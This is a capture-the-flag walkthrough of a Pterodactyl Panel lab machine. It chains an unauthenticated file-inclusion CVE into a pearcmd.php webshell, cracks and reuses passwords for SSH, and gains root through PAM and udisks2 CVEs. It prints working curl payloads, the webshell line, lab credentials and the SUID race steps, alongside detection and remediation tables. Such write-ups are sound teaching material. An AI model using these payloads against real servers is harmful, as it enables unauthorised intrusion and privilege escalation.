Overview
Pterodactyl is a Medium-rated Linux machine running the Pterodactyl Panel v1.11.10
game server management application on openSUSE Leap 15.6. The attack surface is
minimal: only SSH and nginx on ports 22 and 80. But the panel’s locale loading
endpoint contains CVE-2025-49132, a local file inclusion that requires no
authentication and has a CVSS score of 10.0. Chained with a pearcmd.php webshell
write (enabled by register_argc_argv=On), it delivers remote code execution as
the wwwrun service account.
From there, credential extraction from MariaDB and password reuse between the
panel and OS accounts yield SSH access as phileasfogg3. Privilege escalation
chains two more CVEs: a PAM environment variable injection (CVE-2025-6018) that
fakes a local console session, and a udisks2 XFS resize race condition
(CVE-2025-6019) that briefly mounts a crafted filesystem without nosuid,
allowing a SUID bash binary to execute as root.
The box teaches three things. First, how LFI vulnerabilities in PHP applications become RCE when PEAR is on the include path. Second, that password reuse between application and OS accounts remains one of the most reliable lateral movement vectors. Third, that race conditions in privileged daemons can bypass filesystem security flags.
Reconnaissance
I start with a service scan to identify what is listening:
nmap -sV -sC -A -T4 10.129.14.222
| Port | Service | Product / Version | Notes |
|---|---|---|---|
| 22 | SSH | OpenSSH 9.6 | No banner leak of distro |
| 80 | HTTP | nginx 1.21.5 | Static Minecraft landing page |
Two services. Port 80 returns a static page titled “MonitorLand”. Subdomain fuzzing with ffuf against the top-5000 wordlist reveals two additional vhosts:
ffuf -u http://10.129.14.222 -H "Host: FUZZ.pterodactyl.htb" \
-w top-5000.txt -fc 302
| Subdomain | Application |
|---|---|
pterodactyl.htb | Static landing page, PHP 8.4.8 |
panel.pterodactyl.htb | Pterodactyl Panel v1.11.10 (Laravel/React) |
play.pterodactyl.htb | Redirects to main site (no attack surface) |
The panel subdomain serves a login page. Response headers confirm Laravel
(session cookie pterodactyl_session, XSRF-TOKEN). The version string in the
page footer identifies Pterodactyl Panel v1.11.10.
A phpinfo.php file at the webroot of pterodactyl.htb exposes the full PHP
configuration, including two settings that are critical for the exploitation
chain: register_argc_argv=On and PEAR on the include path at
/usr/share/php/PEAR.
Attack Surface Analysis
The panel’s /locales/locale.json endpoint accepts locale and namespace
parameters that are concatenated to construct a filesystem path for translation
files. No path sanitisation is applied. Directory traversal sequences in either
parameter escape the intended locale directory and read arbitrary files as the
PHP-FPM worker process (wwwrun, uid 474).
The combination of this LFI with register_argc_argv=On and PEAR availability
enables the pearcmd.php inclusion technique: including pearcmd.php via the
LFI passes query string parameters as CLI arguments, and the config-create
command writes arbitrary content to disk.
Vulnerability Analysis
CVE-2025-49132 is a textbook CWE-22 (path traversal) compounded with CWE-98
(PHP remote file inclusion). The locale endpoint builds a path like
resources/lang/{locale}/{namespace}.php without sanitising either parameter.
Injecting ../../../../../../var/www/pterodactyl/config as the locale and
database as the namespace reads Laravel’s database configuration directly.
| Attribute | Value |
|---|---|
| CVE | CVE-2025-49132 |
| CVSS 3.1 | 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) |
| CWE | CWE-22 (Path Traversal), CWE-98 (Remote File Inclusion) |
| Affected | Pterodactyl Panel < 1.11.11 |
| Prerequisite | Unauthenticated |
The privilege escalation CVEs are equally interesting. CVE-2025-6018 exploits
PAM on openSUSE reading ~/.pam_environment on login. By injecting XDG_SEAT
and XDG_VTNR, an SSH session appears as a local console login to loginctl
and polkit, granting allow_active privileges. CVE-2025-6019 exploits a race
in udisks2’s Filesystem.Resize handler: during the transient mount for the
resize operation, nosuid is not applied, allowing a SUID binary on the XFS
image to execute as root.
Exploitation
Step 1: LFI to read database credentials
curl -s "http://panel.pterodactyl.htb/locales/locale.json?\
locale=../../../../../../var/www/pterodactyl/config\
&namespace=database"
This returns the full config/database.php, including:
DB_USERNAME=pterodactyl
DB_PASSWORD=PteraPanel
APP_KEY=base64:UaThTPQnUjrrK61o+Luk7P9o4hM+gl4UiMJqcbTSThY=
Step 2: Webshell via pearcmd.php
curl -s "http://panel.pterodactyl.htb/locales/locale.json?\
locale=../../../../../../usr/share/php/PEAR\
&namespace=pearcmd\
&+config-create+/<?=system(\$_SERVER['HTTP_X_CMD']);?>\
+/dev/shm/cmd.php"
Only the first config-create call per destination path succeeds. Subsequent
attempts are silently ignored.
Step 3: Command execution
curl -s "http://panel.pterodactyl.htb/locales/locale.json?\
locale=../../../../../../dev/shm\
&namespace=cmd" \
-H "X-CMD: id"
# uid=474(wwwrun) gid=474(wwwrun) groups=474(wwwrun)
Step 4: Credential extraction and SSH access
With RCE as wwwrun, I query the MariaDB panel database using the extracted
credentials:
curl -s "http://panel.pterodactyl.htb/locales/locale.json?\
locale=../../../../../../dev/shm&namespace=cmd" \
-H "X-CMD: mariadb -h 127.0.0.1 -u pterodactyl \
-pPteraPanel -D panel -e \
'SELECT id,username,password FROM users;'"
Two users: headmonitor (admin) and phileasfogg3 (standard). The
phileasfogg3 bcrypt hash cracks with john and rockyou.txt: !QAZ2wsx. The
headmonitor hash did not crack against three wordlists with rule mutations.
The cracked panel password is reused for SSH:
ssh [email protected]
# Password: !QAZ2wsx
# uid=1001(phileasfogg3) gid=100(users)
User flag obtained.
Step 5: Privilege escalation
A mail from headmonitor hints at udisks2. The escalation chains two CVEs.
First, PAM environment injection to fake a local session:
cat > ~/.pam_environment << 'EOF'
XDG_SEAT=seat0
XDG_VTNR=1
EOF
# Reconnect SSH to apply
Second, create an XFS V4 image with a SUID bash binary (V4 is mandatory for kernel 6.4.0; V5 images fail with “wrong fs type”):
dd if=/dev/zero of=exploit.img bs=1M count=300
mkfs.xfs -m crc=0,finobt=0,rmapbt=0,reflink=0,\
bigtime=0,inobtcount=0 -i nrext64=0 exploit.img
sudo mount -o loop exploit.img /mnt
sudo cp /bin/bash /mnt/bash
sudo chmod 4755 /mnt/bash
sudo umount /mnt
gzip exploit.img
Upload via SFTP (direct upload fails; VPN drops after ~55MB), decompress on target, set up the loop device, start a busy-keeper script to catch the race window, and trigger the resize:
udisksctl loop-setup -f ~/exploit.img
# Start busy-keeper in background
gdbus call --system \
--dest org.freedesktop.UDisks2 \
--object-path /org/freedesktop/UDisks2/block_devices/loop0 \
--method org.freedesktop.UDisks2.Filesystem.Resize 0 \
'a{sv} {}'
The busy-keeper catches the transient mount and executes the SUID bash.
Root flag obtained.
Post-Exploitation
The system runs openSUSE Leap 15.6 with Btrfs and per-user /tmp namespacing.
Key observations from enumeration:
/usrand/etcmounted read-only;/var,/home,/tmpread-write- Per-user
/tmpvia Btrfs subvolumes (files uploaded via webshell aswwwrunare invisible to SSH userphileasfogg3) - MariaDB 11.8.3 and Redis 8.2.1 running locally
/dev/shmfiles cleaned periodically bysystemd-tmpfiles
Twenty-one failed approaches were documented during the engagement, including
Redis exploitation (blocked by v8.x security hardening), MySQL INTO OUTFILE
(no FILE privilege), XFS V5 incompatibility, and parallel chunked uploads
that crashed the box.
Defensive Analysis
| Phase | MITRE ATT&CK | Detection |
|---|---|---|
| Reconnaissance | T1595.002 Vulnerability Scanning | ffuf subdomain enumeration and nmap service discovery |
| Reconnaissance | T1592.002 Software Discovery | phpinfo.php discloses PHP version, PEAR path, argc/argv |
| Initial Access | T1190 Exploit Public-Facing App | CVE-2025-49132 LFI via locale endpoint to pearcmd.php |
| Credential Access | T1552.001 Credentials in Files | MariaDB credentials from Laravel config |
| Credential Access | T1003 Credential Dumping | MariaDB user table query for bcrypt hashes |
| Credential Access | T1110.002 Password Cracking | john + rockyou.txt against phileasfogg3 bcrypt hash |
| Lateral Movement | T1078.003 Valid Accounts: Local | Panel password reused for SSH |
| Privilege Escalation | T1574.007 Path Interception | CVE-2025-6018: PAM env injection fakes local session |
| Privilege Escalation | T1548 Abuse Elevation Control | CVE-2025-6019: udisks2 XFS race mounts without nosuid |
Detection opportunities centre on the LFI payload. Any request to
/locales/locale.json containing ../ sequences is anomalous. A WAF rule
matching directory traversal patterns in the locale or namespace parameters
would block the entire attack chain at the initial access phase. Host-side,
process monitoring should alert on pearcmd.php being included by the PHP-FPM
worker, and on /bin/sh or bash processes spawned by wwwrun.
Remediation
| Priority | Action | Effort | Impact |
|---|---|---|---|
| P0 | Upgrade Pterodactyl Panel to >= 1.11.11 (patches CVE-2025-49132) | Low | Critical |
| P0 | Upgrade udisks2 to patched version (fixes CVE-2025-6019 race) | Low | Critical |
| P1 | Remove phpinfo.php from production webroot | Low | High |
| P1 | Set register_argc_argv=Off in php.ini | Low | High |
| P1 | Enforce unique passwords across panel and OS accounts | Medium | High |
| P2 | Restrict PAM from reading ~/.pam_environment (mitigates CVE-2025-6018) | Low | Medium |
| P2 | Deploy WAF rules blocking path traversal in locale parameters | Medium | Medium |
| P3 | Audit Btrfs subvolume permissions and tmpfiles configuration | Low | Low |
The phpinfo.php file is the intelligence asset that makes the exploitation chain
practical. Without it, an attacker would need to brute-force the PEAR include
path and guess the register_argc_argv setting. Removing debug/info files from
production is a zero-cost action that eliminates a significant information
disclosure.
Key Takeaways
-
LFI plus PEAR equals RCE on PHP. When
register_argc_argv=Onand PEAR is on the include path, any LFI vulnerability becomes a file write primitive viapearcmd.php config-create. This is not a theoretical chain; it worked on a current PHP 8.4.8 installation. -
Race conditions in privileged daemons bypass filesystem security flags. The udisks2
Filesystem.Resizehandler briefly mounts withoutnosuid. The window is small, but a busy-loop polling for the SUID binary catches it reliably. Privileged daemon operations that involve transient mounts must apply the same security flags as permanent mounts. -
PAM environment files are a privilege escalation vector on openSUSE. The ability to set
XDG_SEATandXDG_VTNRvia~/.pam_environmentelevates an SSH session to a local console session from polkit’s perspective. This is a design issue in how PAM and polkit interact on systems that trust environment variables for session classification.